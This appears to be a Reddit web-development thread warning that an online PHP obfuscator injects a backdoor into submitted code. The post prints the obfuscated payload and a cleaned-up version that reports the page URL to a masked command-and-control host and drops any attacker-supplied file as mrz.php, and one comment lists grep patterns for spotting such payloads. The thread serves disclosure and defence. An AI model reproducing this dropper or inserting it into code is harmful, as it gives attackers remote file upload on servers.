r/webdev
•
u/tainvie
•
5d ago
•
3
The 2nd Google Result for "PHP Obfuscator" Injects Malware Into Your Code
Today, I was experimenting with some basic obfuscation and how different AI models handle different levels of PHP obfuscation, including prompt injection inside code.
At some point, I wanted to quickly try some online PHP obfuscators. After a quick Google search, I tried the first few results.
I didn't even notice anything wrong with the second one. I copied the code into Claude and asked it to deobfuscate it. I was shocked. The website, which is the SECOND Google search result for "php obfuscator," contained malware in its code.
Anyone who tries to obfuscate their code using that online service without checking the actual output basically infects themselves.
DO NOT EVER RUN ANY CODE YOU RECEIVE FROM ANY ONLINE OBFUSCATOR.
Infection still in: 2026-11-28 17:49 (UTC)
-------
Input:
<?php echo "Hello world";Output (partial):
<?php
$stt1 = "b\x56Jha\x39swEP3uX3ELBt ... JM9G838=";
$stt0 = "UOeg+bS3F1jxBM ... WbS8e7/dwpHB";
eval(gzinflate(base64_decode($stt1)));
?>Output (deobfuscated, cleaned up)
<?php
// 1. "Phone home": report this infected page's URL to the attacker
$c2_url = 'https://s****i.top/ghost/';
$cur_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query(['file_url' => $cur_url]),
],
]);
file_get_contents($c2_url, false, $context);
// 2. Dropper: ?mrz&file=<URL> downloads any remote file and saves mrz.php
if (isset($_GET['mrz'])) {
$payload = file_get_contents($_GET['file']); // attacker-supplied URL
if (file_put_contents('mrz.php', $payload)) {
echo "File : mrz.php Success !";
} else {
echo "Error";
}
exit;
}
// 3. Decoy output so the page looks harmless
echo "Hello world";---
Updates (3th of Dec 2026):
- FLAGGED: While the website is still in Google search results, it is now flagged by Google. When someone tries to open it, the "Warning – visiting this website may harm your computer!" page shows up. Thanks to everyone who reported it!
- "2nd Google Result": As multiple users pointed out, writing the exact position in the title was a bad idea as "the order of search results change all the time and by device" - that is true, my bad.
- "What's with the half-ass attempt to hide the URLs?": It was intentional, and there were multiple reasons behind it. I didn't want to share a direct link to a malicious site in a long post to avoid anyone opening it by accident. I've also had posts removed in the past for containing links, and since I planned to cross-post this, I decided to hide the URLs in a way that still makes the actual site recognizable.



1.3k
u/IslayProgrammes 5d ago
There’s almost zero legitimate reason to be obfuscating PHP.
If you’re obfuscating backend code with the intention of it being public and difficult to parse you’re doing something nefarious and deserve to be victim of this attack
175
u/HoratioWobble 5d ago
Obfuscating PHP is like locking a gate with a wotsit. It's a waste of time
42
u/Xiten 5d ago
If it’s injecting malware why are we blacking out the name of the site?
12
u/digitalwankster 5d ago
The order of search results change all the time and by device (mobile vs desktop) so the "second result" is liable to be different by the time someone else stumbles upon this.
45
u/idontknowman139 5d ago
So why did you redact the url of the website?
14
u/dangoodspeed 5d ago
Wasn't that $6 billion Binance hack partially traced to a hack where one of their devs needed to install Homebrew on a new computer, and a Google ad pointed to a fake homebrew site which gave the dev a fake install command line?
488
u/nakfil 5d ago •
It's worth reporting this to Google -
https://www.google.com/safebrowsing/report_phish/
So they will remove it from the SERPs, hopefully.
2
u/DevWithTooLittleTime 13h ago
Wow! Luckyli, the site is now (3th of Dec 2026) blocked by Google, but still visible in the search results (meaning you see a Malware awareness screen when clicking the page).
77
u/PersianMG 5d ago
You can report sites as malware:
https://www.google.com/safebrowsing/report_phish/
https://www.microsoft.com/en-us/wdsi/support/report-unsafe-site-guest
If enough people report, the Search Engines will delist these sites.
I also did a test and confirm they add backdoors to the code.
They don't even obfuscate the original input code alongside the backdoor so it goes somewhat unnoticed...rookies.
3
u/Quick_Phone8500 5d ago
How does this even work? It downloads mrz.php then doesn’t run it, and it echos “downloaded mrz.php” if it downloads successfully, this is crappy malware
103
u/aTaleForgotten 5d ago
If you need to obfuscate your backend code, you may have other problems
20
u/alltheseflavours 5d ago
Who the fuck is putting their code into random websites and asking it to 'obfuscate' it for you? You all need Jesus. And a CI pipeline.
7
u/DiscipleOfYeshua 5d ago
Coming soon!
google2shell
7
u/don_mumrik 4d ago
No reason to obfuscate PHP.
16
u/Rigamortus2005 5d ago
Why in gods name are you obfuscating PHP if you didn't intend to ship a virus anyway?
5
u/Mecanik1337 5d ago
Let me tell this you after 20+ years of PHP development. Especially since I worked a LOT in "obfuscation" and licensing, etc. There is absolutely NOTHING you can do to prevent someone from reversing your SCRIPT. PHP is a SCRIPT which gets executed by a PROGRAM, which means it can ALWAYS be "de-obfuscated". This applies even to ioncube and any other "custom" obfuscations. The only thing you gain from this is to make script-kids get a headache when they want to steal code/copy code. Bottom line is, stop trying to "obfuscate" your PHP. Instead SELL it entirely, per project, with proper NDA and contracts. Take my advice or leave it, up to you.
4
u/sgijoe 5d ago
GEEEEEEZ........... HOW IS AN HONEST THREAT ACTOR SUPPOSED TO MAKE A BUCK?
1
u/theflyingkoalax 2d ago
you said DO NOT RUN as if claude servers would get hacked LOL
3
u/mrcarrot0 4d ago
How about "don't blindly trust code that was was created/generated by a third party"? Online converters/generators primarily exist to scrape user data anyway, I'm not surprised that they would inject an attack into your given an opportunity.
My new favorite quote btw:
5
u/d2xdy2 back-end 5d ago
Here in 2026 we’re still obfuscating PHP. Jfc.
2
u/_eggseck 5d ago
PHP obfuscation is useless today. Good thing is things like ioncube exist for PHP, use those.
2
u/Ill-Bat-1518 5d ago
Wow i can't lie when i was way younger i used these type of websites before thinking it would help like stop my email getting spammed etc
Never did i think that was a possibility and i used to be super weary of malware
2
u/Confident_Toe4393 5d ago
A screenshot of a search result is the weakest possible evidence for this. Which domain, and did the same one come back second on every check? The eval/gzinflate breakdown is the only part worth trusting here.
2
u/dialsoapbox 5d ago
This is what i wish this sub had more of.
2
u/OldAssistance1702 5d ago
so people are pasting their whole source into a random website and the shocking part is the backdoor? the shocking part is that the code came back at all honestly. you're handing your entire app to a stranger's server, half of these sites dont even have a whois worth reading, and then everyone acts betrayed because the free tool that ranks #2 on google turns out to be some guy in a basement wrapping your functions in eval. search ranking is not a security audit, google ranks whatever has links and keywords, it has literally never once checked if the site is run by criminals. and its the same energy as people who install a random chrome extension with 40 reviews that wants permission to read everything on every page and then wonder why their sessions got jacked. if you need to obfuscate php just run a local tool, there are a million of them, its a file on your disk, it doesnt phone home, it doesnt care. but no, we gotta use the online one because its easier, and then a blog post has to explain to grown developers that the second google result is malware, in 2026, like this is news. and the comments will all be "wow good catch" as if the real lesson isnt that you shouldnt be obfuscating php at all, because anyone determined enough just reads the bytecode. whatever, i'm gonna go check what comes back from that tool out of morbid curiosity.
2
u/Fluffy_Ad_2913 4d ago
Dude, what's with the half-ass attempt to hide the URLs? It's publicly searchable information, right? And even if you care about the other sites for some weird reason, why hide the malicious site? Isn't the whole point of your post to warn people so they don't go there?
What happens when the search rankings change and it's the first, third, or fifth result instead of the second? What if they're using a different browser than you? Not all browsers rank sites equally.
How do you expect people to protect themselves if they can't even see the domain name? Your whole story seems suspect...
2
u/RedditNotFreeSpeech 4d ago
If you think you can obfuscate code in 2026 you are completely wasting your time.
5
u/JontesReddit 5d ago
Anyone obfuscating code deserves this
3
u/exintrovert 5d ago
Using an obfuscator requires a level of trust that I would never grant to a random search result.
I think I would bite the bullet and pay for ioncube.
I believe Yak Pro is reputable.
Never use online web forms to obfuscate for free. Who knows what they are doing.
And avoid Zend, it is EOL.
Thank you for posting this, it is an important reminder that malware injection into obfuscated code is a legit concern.
3
u/abeuscher 5d ago
Fuckin' full thread whoosh over here. This should be a story about how search is broken, not about the topic at hand. How to run a credit card scam shouldn't have a phishing link up top either. There are good reasons to want to search for this phrase. It doesn't mean anything to want to know HOW to do something. That's how you learn.
This sub and really the internet in general is so fucked. We're supposed to be the fucking experts and can't even understand the context of an obvious problem. Is this sub just full of vibe coding marketing executives and third graders at this point?
There is one specific person responsible for this issue and his name is Prabhakar Raghavan. Look it up. He also has nothing to do with obfuscating PHP.
1
u/rafaelml12 5d ago
Google needs to get their shit together
1
u/fxlr8 5d ago
What is the point of obfuscating php in the first place?
1
u/aTaleForgotten 5d ago
Also, that is amongst the ugliest code i've seen in a while. Hideous.
1
u/T-J_H 5d ago
Why the hell would you need to obfuscate a purely server side language anyways
1
u/bblankuser 5d ago
no point in obfuscation in modern times tbh
1
u/Ragin_Mari 5d ago
It’s becoming more common, it’s called SEO poisoning
https://www.crowdstrike.com/en-us/cybersecurity-101/social-engineering/seo-poisoning/
1
u/hongaar 5d ago
We can finally bury security by obscurity
1
u/semibilingual 5d ago
if i was in the business of malware, my favorite target woukd be code obfuscated, so noone can see what my code is doing.
1
u/n9iels 5d ago
Is this still a thing?! Pretty sure AI can make it readable within a few minutes, complete with variable- and function names that make sense.
1
u/Subject-Cry7069 5d ago
The decoy echo at the end is the nasty part, the output still prints Hello world so nothing looks off unless you read it.
Cheap habit that would have caught it: before anything a web tool hands back goes near a server, grep it for eval(, gzinflate, base64_decode, assert( and file_put_contents. A one line hello world should come back with none of those. If the obfuscated version has an eval in it, you're done, don't bother deobfuscating to find out what it does.
1
u/ElectronicPurple9013 5d ago
why is your production code going through a random website in the first place
1
u/jayhalk1 5d ago
If I doubt, use the link on Wikipedia.
1
u/yleed 4d ago
huh
1
u/bacondev 4d ago
Never in my life have I ever considered obfuscating PHP code. I can't think of a legitimate reason for production purposes.
1
u/Unfair-Plastic-4290 4d ago
The only reason to obfuscate your code is because you're embarrassed of it.
1
u/Aishou_SK 4d ago
> SECOND Google search result
20 years ago, I'd believe it.
Today, I'd believe it.
Nothing changes.
1
u/unicorns-arent-real 4d ago
If you need an obfuscator, find one on Github, then you'll have the source. Or write your own.
1
u/InsideTour329 4d ago
This is going to sound wild but hear me out, maybe don't use PHP? There's no excuse for it these days you can literally port any php site into blazor or something in an afternoon.
1
u/trannus_aran 4d ago
I get the idea, but isn't using non-deterministic tool output as hard proof kinda cheapening your point?
1
u/Tezza48 4d ago
Why would an obfuscator exist in the first place? Php lives server side. Is this for Golf or is someone selling snake oil suggesting it needs tersing.
1
u/Disgruntled__Goat 4d ago
Ironically that site comes up about 5th for me, below this exact reddit post saying the 2nd result is malware. So now there’s another obfuscator in 2nd place which people might think is the dodgy one and think the original is safe.
1
u/artnos 4d ago
If you dont review the code ai puts in your code that is so on you
1
u/haiyenpa25 3d ago
1
u/DrSmoK3y 3d ago
yeah you are 100% right,
1
u/shrodikan 2d ago
This is the most PHP thing I've ever read in my life. Why are you people still using PHP in 2026 my god?
1
u/mllv1 5d ago
For people saying you never need to obfuscate backend code, you’re wrong. We distribute an on prem SaaS to defense contractors, and since it isn’t written in a compiled language, we are required by many customers to obfuscate it. We also provide a checksum.
0
u/Plane-Analysis-6770 5d ago
Sorry never heard of obfuscating what is it
0
u/Anybody-Outside 3d ago
…says ChatGPT
-4
u/vm_linuz 5d ago
0. Why are you using PHP?
-1
u/billydecay 3d ago
Why in the actual fuck are you still using Google search?
-6
u/raptorraptor 5d ago
We're still writing PHP?
-6
u/allpunks 5d ago
Honestly it's the devs fault to be still using PHP in 2026 lol